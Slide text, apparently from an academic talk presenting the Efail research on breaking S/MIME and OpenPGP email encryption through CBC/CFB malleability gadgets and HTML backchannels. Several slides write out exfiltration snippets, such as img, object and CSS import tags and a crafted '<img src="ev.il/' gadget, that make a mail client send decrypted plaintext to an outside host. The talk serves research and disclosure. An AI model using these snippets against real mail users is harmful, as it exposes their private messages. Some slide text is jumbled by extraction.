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Efail Attack and Its Implications

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Efail Attack and Its Implications Efail attack and its implications Juraj Somorovsky Damian Poddebniak1, Christian Dresen1, Jens Müller2, Fabian Ising1, Sebastian Schinzel1, Simon Friedberger3, Juraj Somorovsky2, Jörg Schwenk2 About this talk • Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels. Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky, Jörg Schwenk. USENIX Security 2018 • Johnny, you are fired! Spoofing OpenPGP and S/MIME Signatures in Email. Jens Müller, Marcus Brinkmann, Damian Poddebniak, Hanno Böck, Sebastian Schinzel, Juraj Somorovsky, Jörg Schwenk. USENIX Security 2019 Email. 3 Internet Message Format („Email“) From: Alice To: Bob Subject: Breaking News Congratulations, you have been promoted! 4 Multipurpose Internet Mail Extensions (MIME) From: Alice To: Bob Subject: Breaking News Content-Type: text/plain Congratulations, you have been promoted! 5 Multipurpose Internet Mail Extensions (MIME) From: Alice To: Bob Subject: Breaking News Content-Type: multipart/mixed; boundary="BOUNDARY" --BOUNDARY Content-type: text/plain Congratulations, you have been promoted! --BOUNDARY Content-type: application/pdf Contract... --BOUNDARY-- 6 av1.com av2.com smtp.corp1 smtp.corp2 imap.corp2 imap.corp1 archive.corp1 archive.corp2 av1.com smtp.corp1 imap.corp1 archive.corp1 There is no such thing as “My Email”. 10 av1.com smtp.corp1 Assumption: imap.corp1 Attacker has archive.corp1 access to emails! Motivation for using end-to-end encryption Insecure Transport • TLS might be used – we don’t know! Nation state attackers (see also lecture given by Tibor) • Massive collection of emails • Snowden’s global surveillance disclosure Breach of email provider / email account • Single point of failure • Aren’t they reading/analyzing my emails anyway? 12 Two competing standards OpenPGP (RFC 4880) • Favored by privacy advocates • Web-of-trust (no authorities) S/MIME (RFC 5751) • Favored by organizations • Multi-root trust-hierarchies 13 Signed Email (S/MIME) From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“ --BOUNDARY Content-type: text/plain Congratulations, you have been promoted! --BOUNDARY Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA== --BOUNDARY-- 14 Signed Email (S/MIME) From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“ --BOUNDARY Content-type: text/plain Congratulations, you have been promoted! --BOUNDARY Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA== --BOUNDARY-- 15 Signed Email (S/MIME) From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“ --BOUNDARY Content-type: text/plain Congratulations, you have been promoted! --BOUNDARY Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA== --BOUNDARY-- 16 Signed Email (PGP) From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY"; protocol="application/pgp-signature“ --BOUNDARY Content-type: text/plain Congratulations, you have been promoted! --BOUNDARY Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- iQE/BAEBAgApBQJbW1tqIhxCcnVjZSBXYXluZSA8YnJ1Y2V3YX… -----END PGP SIGNATURE----- --BOUNDARY-- 17 Encrypted Email (PGP) From: Alice To: Bob Subject: Breaking News Content-Type: multipart/encrypted; boundary="BOUNDARY"; protocol="application/pgp-encrypted"; --BOUNDARY Content-Type: application/octet-stream; name="encrypted.asc" Content-Description: OpenPGP encrypted message Content-Disposition: inline; filename="encrypted.asc" -----BEGIN PGP MESSAGE----- hQIMA0Zy9l4Cw+FaAQ//YewiWjMoX2BebbwJQJMJxvHRoF30NjkZe88m9kGts/tn DgkUPQEgJJJq/K1TwyAvR8tSLq… -----END PGP MESSAGE----- --BOUNDARY-- 18 New published PGP public keys per month Known limitations! Usability ? Snowden Effekt Enigmail New keys at keyserver Hard for S/MIME Opsec von Snowden und thegruq Ver- und Entschlüsselung nur in separater Anwendung! 19 PGP and OpSec Some tutorials recommend using PGP outside of email client. • https://gist.github.com/grugq/03167bed45e774 551155 • https://vimeo.com/56881481 Others recommended Enigmail in default settings (i.e. HTML switched on) 20 21 Ok, so how about the security? ‘99 ‘06 ‘15 22 Overview 1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions 23 2014: Enigmail won’t encrypt. https://sourceforge.net/p/enigmail/forum/support/thread/3e7268a4/ 24 2017: Outlook includes plaintext in encrypted email. https://www.sec-consult.com/en/blog/2017/10/fake-crypto-microsoft-outlook-smime-cleartext-disclosure-cve-2017-11776/ 25 2018: Enigmail/PEP won‘t encrypt. https://www.heise.de/security/meldung/c-t-deckt-auf-Enigmail-verschickt-Krypto-Mails-im-Klartext-4180405.html 26 Both standards use old crypto Both standards use old crypto Ciphertext C = Enc(M) C1 valid/invalid C2 valid/invalid … M = Dec(C) (repeated several times) 27 Old crypto has no negative impact CBC / CFB modes of operation used, but their usage is not exploitable Old crypto has no negative impact Assumption: Email is non-interactive 29 Backchannel • Any functionality that forces the email client to interact with the network <img src="http://efail.de"> • HTML/CSS <object data="ftp://efail.de"> <style>@import '//efail.de'</style> • JavaScript XSSDisposition... cheat sheets-Notification-To: [email protected] • Email header Remote-Attachment-URL: http://efail.de X-Image-URL: http://efail.de • Attachment preview PDF, SVG, VCards, etc. OCSP,… CRL, intermediate certs • Certificate verification 30 Evaluation of backchannels in email clients Outlook Postbox Live Mail The Bat! eM Client W8Mail Windows IBM Notes Foxmail Pegasus Mulberry WLMail W10Mail Thunderbird KMail Claws Linux Evolution Trojitá Mutt Apple Mail macOS Airmail MailMate Backchannels Mail App CanaryMail Outlook iOS found K-9 Mail MailDroid Android R2Mail Nine GMail Yahoo! GMX Mail.ru ProtonMail Mailbox Webmail Outlook.com iCloud HushMail FastMail Mailfence ZoHo Mail Roundcube Horde IMP Exchange GroupWise Webapp RainLoop AfterLogic Mailpile ask user leak by default leak via bypass script execution 31 Attacker model 32 Attacker model 33 Overview 1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions 34 S/MIME uses CBC Source: wikipedia • Cipher Block Chaining mode of operation • Not authenticated • Vulnerable to many attacks (TLS, XML Encryption, SSH) • Basic problem: malleability Malleability of CBC C0 C1 C2 decryption decryption P0 P1 36 Malleability of CBC C0' C1 C2 decryption decryption Content-type: te xt/html\nDear Bob P0' P1 37 Malleability of CBC C0' C1 C2 decryption decryption Zontent-type: te xt/html\nDear Bob P0' P1 38 Malleability of CBC C0 ⊕ P0 C1 C2 decryption decryption 0000000000000000 xt/html\nDear Bob P0' P1 CBC Gadget 39 Malleability of CBC C0 ⊕ P0 ⊕ Pc C1 C2 decryption decryption <img src=”ev.il/ xt/html\nDear Bob P0' P1 40 Malleability of CBC C0 C1' C2 decryption decryption Content-type: te Zt/html\nDear Bob P0' P1' 41 Malleability of CBC C0 C1' C2 decryption decryption ???????????????? Zt/html\nDear Bob P0' P1' 42 Practical Attack against S/MIME Content-type: te xt/html\nDear Sir or Madam, the se ecret meeting wi Original Crafted ???????????????? <img " ???????????????? " src="efail.de/ ???????????????? Content-type: te xt/html\nDear Sir or Madam, the se ???????????????? "> 43 Practical Attack against S/MIME 44 Demo Overview 1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions 46 OpenPGP • OpenPGP uses a variation of CFB-Mode • Uses integrity protection with MDC (Modification Detection Code) • Compression is enabled by default Ci Ci+1 Ci X encryption encryption encryption encryption ? ? ? ? ? ? ? ? random plaintext Pi (known) Pi-1 Pc (chosen) 48 RFC4880 on Modification Detection Codes Defeating integrity protection Client Plugin (up to version) MDC Stripped MDC Incorrect SEIP -> SE Outlook 2007 GPG4WIN 3.0.0 Outlook 2010 GPG4WIN OutlookMDC 2013 StrippedGPG4WIN MDC Incorrect SEIP -> SE Outlook 2016 GPG4WIN Thunderbird Enigmail 1.9.9 Apple Mail (OSX) GPGTools 2018.01 Vulnerable Not Vulnerable 50 54 55 Overview 1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions 56 Direct exfiltration • This attack is possible since 2003 in Thunderbird • Independent of the applied encryption scheme • Somewhat fixable in implementation • But works directly in … • Apple Mail / Mail App • Thunderbird • Postbox • … • The standards do not give any definition for that!
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